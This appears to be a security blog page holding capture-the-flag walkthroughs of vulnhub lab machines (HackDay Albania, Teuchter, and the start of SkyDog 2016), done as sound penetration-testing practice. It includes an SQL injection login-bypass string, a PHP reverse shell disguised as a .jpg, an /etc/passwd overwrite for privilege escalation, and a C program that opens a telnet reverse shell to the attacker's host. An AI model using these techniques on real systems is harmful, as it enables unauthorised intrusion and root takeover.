HackDay: Albania vulnhub walkthrough

Another new VM dropped over at vulnhub. You can grab it here: https://www.vulnhub.com/entry/hackday-albania,167/

The readme comes with the following note: Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.

Well, with a few steps we can get this working on VMware.

I first attached a CD-rom to the VM and added a Gparted ISO, selected boot to firmware and changed the boot order in BIOS to boot from the ISO. Once Gparted loaded I was able to mount the file system and make a few changes with the following steps within a terminal window:

	1) sudo su
	2) mount /dev/sda1 /mnt
	3) vim /mnt/etc/network/interfaces and change the interface to 'eth0'
	4) Vim /mnt/etc/default/grub and edit the line 
	GRUB_CMDLINE_LINUX="" to read: 
	GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
	5) Poweroff
	6) Swap the Gparted ISO for an Ubuntu server ISO, follow the same steps to boot from the CD and once the installer menu loads choose "rescue a broken system" to boot into rescue mode.
	7) Follow all the prompts until arriving at the screen that allows you to execute a shell on /dev/sda1.
	8) In this shell type "update-grub" then type "exit"
	9) Select "execute a shell in the installer environment", then "poweroff"
       10) Remove the CD from the VM, boot to firmware and change the boot order back to the HDD. Once the VM boots up it should grab a lease from DHCP and be fully discoverable from your attacking machine.

h/t to knightmare for pointing me towards this article:

http://www.itzgeek.com/how-tos/mini-howtos/change-default-network-name-ens33-to-old-eth0-on-ubuntu-16-04.html>

Once that was done I was off and running. Started off with an nmap scan which gave me SSH and an Apache web server on a non-standard port.

root@mrb3n:~/Desktop# nmap -p- -T4 192.168.253.136

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-11-19 19:45 EST
SYN Stealth Scan Timing: About 12.53% done; ETC: 20:00 (0:13:02 remaining)
Nmap scan report for 192.168.253.136
Host is up (0.00021s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8008/tcp open  http
MAC Address: 00:0C:29:86:05:34 (VMware)

Well, the whole web app is in Albanian so this will be an extra challenge.

root@mrb3n:~# curl -s http://192.168.253.136:8008/
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>HackDay Albania 2016</title>
	<link rel="stylesheet" href="js/jquery-ui.css">
	<script src="js/jquery-3.1.1.min.js"></script>
	<script src="js/jquery-ui.js"></script>
	<style type="text/css">
		body {
			background-image: url("bg.png");
			background-repeat: no-repeat;
			background-size: cover;
		}
		.ui-draggable .ui-dialog-titlebar{
			background-color: #f05b43;
		}
		.ui-dialog .ui-dialog-title{
			color: white;
		}

	</style>
	<script>
		$(document).ready(function(){
			$("#dialog").dialog();
		});
	</script>
</head>
<body>
	<div id="dialog" title="Miresevini">
  <p>Ne qofte se jam UNE, e di se ku te shkoj ;)</p>
</div>

<!--OK ok, por jo ketu :)-->
</body>

A few very rough translations thanks to Google translate:

Miresevini = Welcome

Ne qofte se jam UNE, e di se ku te shkoj 😉 =  
If I am, I know where to go;)


OK ok, por jo ketu 🙂 = Ok ok, but not here 🙂

Fire Dirb against it and got a robots.txt file and not much else.

root@mrb3n:~# dirb http://192.168.253.136:8008/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Nov 19 22:25:48 2016
URL_BASE: http://192.168.253.136:8008/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.253.136:8008/ ----
+ http://192.168.253.136:8008/index.html (CODE:200|SIZE:750)                   
==> DIRECTORY: http://192.168.253.136:8008/js/                                 
+ http://192.168.253.136:8008/robots.txt (CODE:200|SIZE:702)                   
+ http://192.168.253.136:8008/server-status (CODE:403|SIZE:305)                
                                                                               
---- Entering directory: http://192.168.253.136:8008/js/ ----
==> DIRECTORY: http://192.168.253.136:8008/js/external/                        
==> DIRECTORY: http://192.168.253.136:8008/js/images/                          
+ http://192.168.253.136:8008/js/index.html (CODE:200|SIZE:165)                
                                                                               
---- Entering directory: http://192.168.253.136:8008/js/external/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.253.136:8008/js/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sat Nov 19 22:25:51 2016
DOWNLOADED: 9224 - FOUND: 4
root@mrb3n:~# curl -s http://192.168.253.136:8008/robots.txt
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Ok, that’s a bunch to browse to by hand. I check out one and I can only assume most of them are like this:

Google translate tells me this roughly translates to: “Is this the proper directory, or are you a jerk?”

OK, so I’m thinking my next step is to figure out a valid directory. First cut out just the directory names from the robots.txt file:

root@mrb3n:~# curl -s http://192.168.253.136:8008/robots.txt | cut -f2 -d "/" > robots.txt
root@mrb3n:~# cat robots.txt 
rkfpuzrahngvat
slgqvasbiohwbu
tmhrwbtcjpixcv
vojtydvelrkzex
wpkuzewfmslafy
xqlvafxgntmbgz
yrmwbgyhouncha
zsnxchzipvodib
atoydiajqwpejc
bupzejbkrxqfkd
cvqafkclsyrgle
unisxcudkqjydw
dwrbgldmtzshmf
exschmenuating
fytdinfovbujoh
gzuejogpwcvkpi
havfkphqxdwlqj
ibwglqiryexmrk
jcxhmrjszfynsl
kdyinsktagzotm
lezjotlubhapun
mfakpumvcibqvo
ngblqvnwdjcrwp
ohcmrwoxekdsxq
pidnsxpyfletyr
Qjeotyqzgmfuzs

Prepend the URL to each with awk

root@mrb3n:~# awk '{print "http://192.168.253.136:8008/" $0;}' robots.txt > dir.txt
root@mrb3n:~# cat dir.txt 
http://192.168.253.136:8008/rkfpuzrahngvat
http://192.168.253.136:8008/slgqvasbiohwbu
http://192.168.253.136:8008/tmhrwbtcjpixcv
http://192.168.253.136:8008/vojtydvelrkzex
http://192.168.253.136:8008/wpkuzewfmslafy
http://192.168.253.136:8008/xqlvafxgntmbgz
http://192.168.253.136:8008/yrmwbgyhouncha
http://192.168.253.136:8008/zsnxchzipvodib
http://192.168.253.136:8008/atoydiajqwpejc
http://192.168.253.136:8008/bupzejbkrxqfkd
http://192.168.253.136:8008/cvqafkclsyrgle
http://192.168.253.136:8008/unisxcudkqjydw
http://192.168.253.136:8008/dwrbgldmtzshmf
http://192.168.253.136:8008/exschmenuating
http://192.168.253.136:8008/fytdinfovbujoh
http://192.168.253.136:8008/gzuejogpwcvkpi
http://192.168.253.136:8008/havfkphqxdwlqj
http://192.168.253.136:8008/ibwglqiryexmrk
http://192.168.253.136:8008/jcxhmrjszfynsl
http://192.168.253.136:8008/kdyinsktagzotm
http://192.168.253.136:8008/lezjotlubhapun
http://192.168.253.136:8008/mfakpumvcibqvo
http://192.168.253.136:8008/ngblqvnwdjcrwp
http://192.168.253.136:8008/ohcmrwoxekdsxq
http://192.168.253.136:8008/pidnsxpyfletyr
http://192.168.253.136:8008/qjeotyqzgmfuzs

Open each quick with the web browswer:

root@mrb3n:~# iceweasel $(cat dir.txt)

All but one give us the same error message: /unisxcudkqjydw

Checking it out gives us a hint to another directory:

root@mrb3n:~# curl -s http://192.168.253.136:8008/unisxcudkqjydw/
IS there any /vulnbank/ in there ???

Vulnbank is where we want to be:

root@mrb3n:~# curl -L http://192.168.253.136:8008/unisxcudkqjydw/vulnbank
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /unisxcudkqjydw/vulnbank</title>
 </head>
 <body>
<h1>Index of /unisxcudkqjydw/vulnbank</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/unisxcudkqjydw/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="client/">client/</a></td><td align="right">2016-05-23 00:27  </td><td align="right">  - </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.18 (Ubuntu) Server at 192.168.253.136 Port 8008</address>
</body></html>

I move onward to the ‘client’ directory and am presented with a login page for the Very Secure Bank.

I throw a single quote in the username field and get the following error message:

I’m feeling lazy so I throw it into sqlmap but something was being filtered in the back end. I couldn’t get sqlmap to work with or without any tamper scripts aside from confirming the SQLi so I turned to Burp.

root@mrb3n:~# sqlmap -u 'http://192.168.253.136:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=*&password=test' --dbms=mysql --risk=3 --level=5 --dbs

………………snip…………………..

[22:48:52] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query - comment)'
[22:48:52] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[22:49:03] [INFO] (custom) POST parameter '#1*' seems to be 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)' injectable 

Fuzzing with Burp Intruder shows me that certain keywords appear to be filtered such as ‘AND’ and ‘OR’.

Perhaps we can bypass the login?

Statements such as ‘ OR ‘a’=’a’ would not work based on the keyword filtering. Special characters appeared to be filtered as well. Many many fuzzing attempts and I finally was able to log in directly with the following string: ‘%20#;–%20- which would be the following without the URL encoding:

' #;-- -

Basically, the single quote would force bypass the password check and log me in directly as the first user in the database by executing a query such as this:

"SELECT * FROM users WHERE username='$username' AND password='$password'"

but terminating after the username check and commenting out the remainder of the query. All you actually need was the ‘%20# as the remainder after the # would be superfluous.

I tried to upload a .php file but received the following error:

OK, lets try with a jpg file. I grabbed a php reverse shell and renamed it with a jpg extension and the system seemed to like it:

The page source gave me the location of the file:

I started a netcat listener and browsed to the file located at:

http://192.168.253.136:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=albania.jpg

I got a hit right away, used Python to grab a proper tty (Python 2 was missing from the system):

root@mrb3n:/var/www/html# nc -lvnp 8443
listening on [any] 8443 ...
connect to [192.168.253.134] from (UNKNOWN) [192.168.253.136] 37742
Linux hackday 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 23:19:42 up 16 min,  0 users,  load average: 0.00, 0.01, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

www-data@hackday:/$

Ok, we’re in. Taking a look around the system I see one user ‘taviso’ with an empty home directory:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…………………..snip………………………………………
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash

All of the files in /var/www/html are owned by this user and the account is in the sudo group so it must be significant:

www-data@hackday:/tmp$ cat /etc/group | grep taviso
cat /etc/group | grep taviso
adm:x:4:syslog,taviso
cdrom:x:24:taviso
sudo:x:27:taviso
dip:x:30:taviso
plugdev:x:46:taviso
lxd:x:110:taviso
taviso:x:1000:
lpadmin:x:117:taviso
sambashare:x:118:taviso

I found a the MySQL DB root password in the config.php file but that did not work either did any of the passwords in the database. I fired off SSH brute-forcing with Hydra and the ‘taviso’ user and went about my enumeration.

A search for world-writeable files showed that /etc/passwd was writeable.

www-data@hackday:/tmp$ find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
< / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null                   
/etc/passwd
.........snip.........

Well, I should be able to edit this file and either set a new root password, add a  user or change this user’s password. Let’s change taviso’s password.

I first use Python to generate a password hash:

root@mrb3n:/var/www/html# python -c 'import crypt; print crypt.crypt("pass123", "$6$salt")'
$6$salt$d9rCwkOO7qBIxkmAxy8HuXK8psJJ3m.V2YrQnH6KAJv7FNXShZFJTo9gNwlnU6oqqfEGI.ACFzg3JIe5zjk4t1

I then grabbed the /etc/passwd file and created a quick shell script offline that would just echo out the contents of the file without losing any special characters:

root@mrb3n:/var/www/html# cat passwd.sh 
cat << "EOF"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
taviso:$6$salt$d9rCwkOO7qBIxkmAxy8HuXK8psJJ3m.V2YrQnH6KAJv7FNXShZFJTo9gNwlnU6oqqfEGI.ACFzg3JIe5zjk4t1:1000:1000:Taviso,,,:/home/taviso:/bin/bash

EOF

I pulled it over to the host and gave the script executable permissions:

wget http://192.168.253.134/passwd.sh
--2016-11-21 16:06:57--  http://192.168.253.134/passwd.sh
Connecting to 192.168.253.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1734 (1.7K) [text/x-sh]
Saving to: 'passwd.sh'

passwd.sh           100%[===================>]   1.69K  --.-KB/s    in 0s      

2016-11-21 16:06:57 (385 MB/s) - 'passwd.sh' saved [1734/1734]


www-data@hackday:/tmp$ chmod +x passwd.sh
chmod +x passwd.sh

I ran the script to overwrite the contents of /etc/passwd with the modified version I created offline:

www-data@hackday:/tmp$ ./passwd.sh > /etc/passwd
./passwd.sh > /etc/passwd

Verifying the new file was created properly:

www-data@hackday:/tmp$ cat /etc/passwd
cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
taviso:$6$salt$d9rCwkOO7qBIxkmAxy8HuXK8psJJ3m.V2YrQnH6KAJv7FNXShZFJTo9gNwlnU6oqqfEGI.ACFzg3JIe5zjk4t1:1000:1000:Taviso,,,:/home/taviso:/bin/bash

Now I should be able to su to the user ‘taviso’ and from there elevate to root.

www-data@hackday:/tmp$ su taviso
su taviso
Password: pass123

taviso@hackday:/tmp$

Cool, that worked. Now we verify our sudo permissions for laughs. The user can perform any actions as root. Score!

taviso@hackday:/tmp$ sudo -l
[sudo] password for taviso: 
Matching Defaults entries for taviso on hackday:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User taviso may run the following commands on hackday:
    (ALL : ALL) ALL

Now we just su to root and grab our prize:

taviso@hackday:/tmp$ sudo su
sudo su
[sudo] password for taviso: pass123


root@hackday:/tmp#

And the flag:

root@hackday:~# cat flag.txt
cat flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5

Google translate told me the flag text translates to “Congratulations, now the report begins.”

The md5 was a hash of “rio”.

Now for the heck of it I could SSH in directly as the ‘taviso’ user and have a further look around.

root@mrb3n:~# ssh taviso@192.168.253.138
taviso@192.168.253.138's password: 
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

6 packages can be updated.
2 updates are security updates.


Last login: Sat Oct 29 23:07:00 2016
taviso@hackday:~$ sudo su
[sudo] password for taviso: 
root@hackday:/home/taviso

Here is the function in config.php responsible for the authentication bypass. Sanitize  your input!

function check_login($username,$password){
	
	

	$username = str_ireplace("OR", "", $username);
	$username = str_ireplace("UNION", "", $username);
	$username = str_ireplace("AND", "", $username);
	$password = str_ireplace("'","",$password);
	$sql_query = "SELECT ID FROM klienti where `username` = '$username' and `password` = '$password';";
	$result = mysqli_fetch_assoc(execute_query($sql_query));
	$result = $result["ID"];
	if($result >= 1){
		return $result;
	}else{
		return -1;
		}

And the MySQL credentials in cleartext in the config.php file:

function execute_query($sql){


	$db_host = "127.0.0.1";
	$db_name = "bank_database";
	$db_user = "root";
	$db_password = "NuCiGoGo321";

Enjoyable VM with a privilege escalation method I hadn’t seen on Vulhub yet. Thanks to r_73en for putting it together and sharing as well as  @g0tmi1k and the @vulnhub team for continuing to maintain this community.

Teuchter vulnhub walkthrough

When knightmare asked me to test his latest boot2root based around Scottish culture/slang I jumped at the opportunity. Having chatted quite a bit and debugging issues on other VMs I had already picked up several colorful Scottish expressions but boy was I in for a ride!

Gaun yersel!!!

Image result for irn bru

You can grab the VM here: https://www.vulnhub.com/entry/teuchter-03,163/

As always I imported the VM and fired off an nmap scan. This one only gave me port 80 to work with.

Hitting the web server I was greeted by Willie from the Simpsons telling me to stay out of his server, we’ll see about that.

I checked the page source and noted down several hints including possible usernames and directories.

Images will open doors. Perhaps some stego or exif madness? I grabbed all the images down locally to have a look.

Amazing shot!

Well, the ‘flicks’ directory was forbidden:

…and the ‘telly’ directory gave me more clues (and confusion):

More hints. At this point my head was spinning!

 

Focusing on the phpinfo hint I tried browsing to /flicks/phpinfo.php but that would be too easy. Firing off Burp intruder with a list of known file extensions finally got me a hit for phpinfo.pht. Nice troll.

The clue about images opening doors made me think I was looking for some sort of backdoor. I re-scanned to see if any additional ports had opened.  Googling for “php backdoors” gave me this link as the first hit: https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html.

Sure enough I was able to use this technique to gain command execution:

I uploaded a PHP reverse shell but could not get it working (I’d come to find out why later on).

Turning to this great reverse shell cheat sheet I decided to use the trust mknod technique to fire myself a reverse shell.

Ok, now we’re in as www-data:

I was stuck here for quite some time, after much enumeration I took a look for SUID files and came up with a txt file in the /home/proclaimers directory, which was strange.

The file talked about wildcards. Possible privilege escalation?

Some more enumeration turned up a hint in the login.txt file, alluding to a password hidden within an image file. I had already checked out every image though!

Well, in this case knightmare was being literal and the password was right in front of me, in the form of the filename.

Once I switched over to the jkerr user I looked around quite a bit but did not find anything useful. Taking a look at the list of users I decided to Google for who cpgrogran could be.

Based on this Wikipedia article Clair Grogan was best known as the lead singer of a band ‘Altered Images’.  After bouncing my head off the keyboard for some time, once again I had another password.

 Once switched over to the cpgrogan user I was able to browse around the home directory and found yet another reference to wild cards.

At this point I needed to gain access as one more user, ‘proclaimers’. There were a few images left and the comment ‘images open doors’ was still burned in my mind so I pulled them down via Python 3 http.server (which btw I had to use because Knightmare removed the Python2 binary… thanks for that one 🙂 )

The ‘promisedyouamiracle’ image appeared to have an interested base64 encoded string in the exif data.

The string decoded to ‘gemini’. C’mon password!

It worked! OK! Now I was in as theproclaimers, what was the next step?

Looking around forever I landed on an interesting shell script ‘numpties.sh’. The script showed why I had trouble with my PHP reverse shell as well as why I couldn’t use wget to upload anything haha. It shows us that any file named ‘semaphore’ placed in the /home/proclaimers/letterfromamerica directory would have its permissions changed to be own by root and the SUID bit set. Smells like privilege escalation. I also assumed that the shell script must be running on a cron job.

At this point I needed a simple binary that, once compiled and having the permissions/ownership changed with this cron job, could be leveraged to fire me a root shell.

This simple script did the job:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
  setuid( 0 );
  system( "mknod backpipe p; telnet 192.168.110.175 443 0<backpipe | /bin/bash 1>backpipe" );
  return 0;
}

I compiled it locally and downloaded it using Curl thanks to knightmare’s trolling.

I started up a netcat listener and waited. Not too long after I had a hit and had a root shell! Well, we all know by now that knightmare’s VMs are not over with root and this one was no exception! Onwards to the final flag…and on and on and on. More trolling, I was sweating by this time.

Eventually I got to the bottom of the rabbit hole and found a zip file with what I could only imagine would be a disk image inside.

Of course the zip was password protected and nothing worked. I went back and made a word list from everything I had seen so far. Nada! Eventually out of sheer desperation I tried ‘Teuchter’ and immediately wanted to strange knightmare through the screen.

The zip contained a virtual disk image. I tried to mount it, cut it up with strings and binwalk but nothing worked. Exploring a bit more with my shiny new root privileges gave me another hint within the crontabs file:

## So vmfs-tools package eh....?
*/5 * * * * /bin/sh /usr/local/bin/numpties.sh > /dev/null 2>&1

Some Googling showed me I could mount the disk image as a new drive and use the vmfs-tools package to explore it. I added the image as a new drive under sda2:

root@mrb3n:~/Desktop/teuch# fdisk -l

Disk /dev/sda: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb2d1b90f

Device     Boot    Start      End  Sectors  Size Id Type
/dev/sda1  *        2048 60262399 60260352 28.8G 83 Linux
/dev/sda2       60264446 62912511  2648066  1.3G  5 Extended
/dev/sda5       60264448 62912511  2648064  1.3G 82 Linux swap / Solaris

I then used vmfs-fuse to mount the drive and explore it:

root@mrb3n:~/Desktop/teuch# vmfs-fuse /dev/sdb1 /mnt/teuch

root@mrb3n:~/Desktop/teuch# cd /mnt/teuch/

Red Kola? Irn Bru? More hints!

Almost there.. Check the ISO and remember password relates to the TV Advert you watched.

I took out the spaces but it’s 25 characters but the Wikipedia page will get it for you.

This was either another troll or knightmare was showing some mercy.  From all the hints I was guessing the final flag was hidden inside the glass_ch.jpg image. I could probably pull it out with steghide but I still needed a 25 character password.  After going back to the beginning and reviewing everything I had once again I came up with ‘madeinscotlandfromgirders’ as the password.

I copied the image file over to a Windows VM where I had steghide from a previous CTF and FINALLY had the “real” flag after so many “almosts”.

This was an awesome VM, a mixture of entertaining and extremely frustrating. I learned a bunch about Scottish culture and could finally decode some of the things knightmare was saying.

Thanks to knightmare for putting this challenge together as well as @g0tmi1k and the @vulnhub team for continuing to maintain this community.

This glossary of Scottish slang and Jargon also came in handy: https://en.wiktionary.org/wiki/Appendix:Glossary_of_Scottish_slang_and_jargon#G

SkyDog 2016: Catch Me If You Can Vulnhub Walkthrough

A new VM was released on Vulnhub this week. I had some downtime at night while traveling for work so I grabbed the image and got to work.

https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/

The challenge is set up with 8 flags as follows:

Flag#1 – “Don’t go Home Frank! There’s a Hex on Your House”
Flag#2 – “Obscurity or Security? That is the Question”
Flag#3 – “During his Travels Frank has Been Known to Intercept Traffic”
Flag#4 – “A Good Agent is Hard to Find”
Flag#5 – “The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices”
Flag#6 – “Where in the World is Frank?”
Flag#7 – “Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!”
Flag#8 – “Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!”

I always enjoy challenges like this with multiple flags as it helps to keep you going/on path.

I started off with an nmap scan to see what we were dealing with:

root@kali:~# nmap -A -p- -Pn --open -T4 172.16.94.136

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-11 09:08 EST
Nmap scan report for 172.16.94.136
Host is up (0.00039s latency).
Not shown: 65531 filtered ports, 1 closed port
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 - Catch Me If You Can
443/tcp   open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 - Catch Me If You Can
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016-09-21T14:51:57
|_Not valid after:  2017-09-21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
|_  256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
MAC Address: 00:0C:29:14:57:58 (VMware)
Device type: general purpose|phone|WAP|specialized|storage-misc

A web server listening on port 80 and 443 as well as an SSH service on a non-standard port.

I went a bit out of order with the flags so the clues do not match up exactly. I checked out the SSH service first and the banner gave up a flag.

root@kali:~# ssh 172.16.94.136 -p 22222
The authenticity of host '[172.16.94.136]:22222 ([172.16.94.136]:22222)' can't be established.
ECDSA key fingerprint is SHA256:DeCMZ74o5wesBHFLyaVY7UTCA7mW+bx6WroHm6AgMqU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[172.16.94.136]:22222' (ECDSA) to the list of known hosts.
###############################################################
#                         WARNING                             #
#		FBI - Authorized access only!                 # 
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
#         All actions Will be monitored and recorded          #
#	Flag{53c82eba31f6d416f331de9162ebe997}		      #
###############################################################
root@172.16.94.136's password:

The flag was the MD5 of the word ‘encrypt’.

I spun my wheels for a while on the next flag, after running Burp and Dirbuster for a while and not coming up with anything new I decided to go file by file. One of the JavaScript files had an interesting comment, in Hex, which was one of the clues.

root@kali:~# curl -s http://172.16.94.136/oldIE/html5.js
/* 666c61677b37633031333230373061306566373164353432363633653964633166356465657d */
/*! HTML5 Shiv v3.6 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed */
/* Source: https://github.com/aFarkas/html5shiv — No longer maintained */
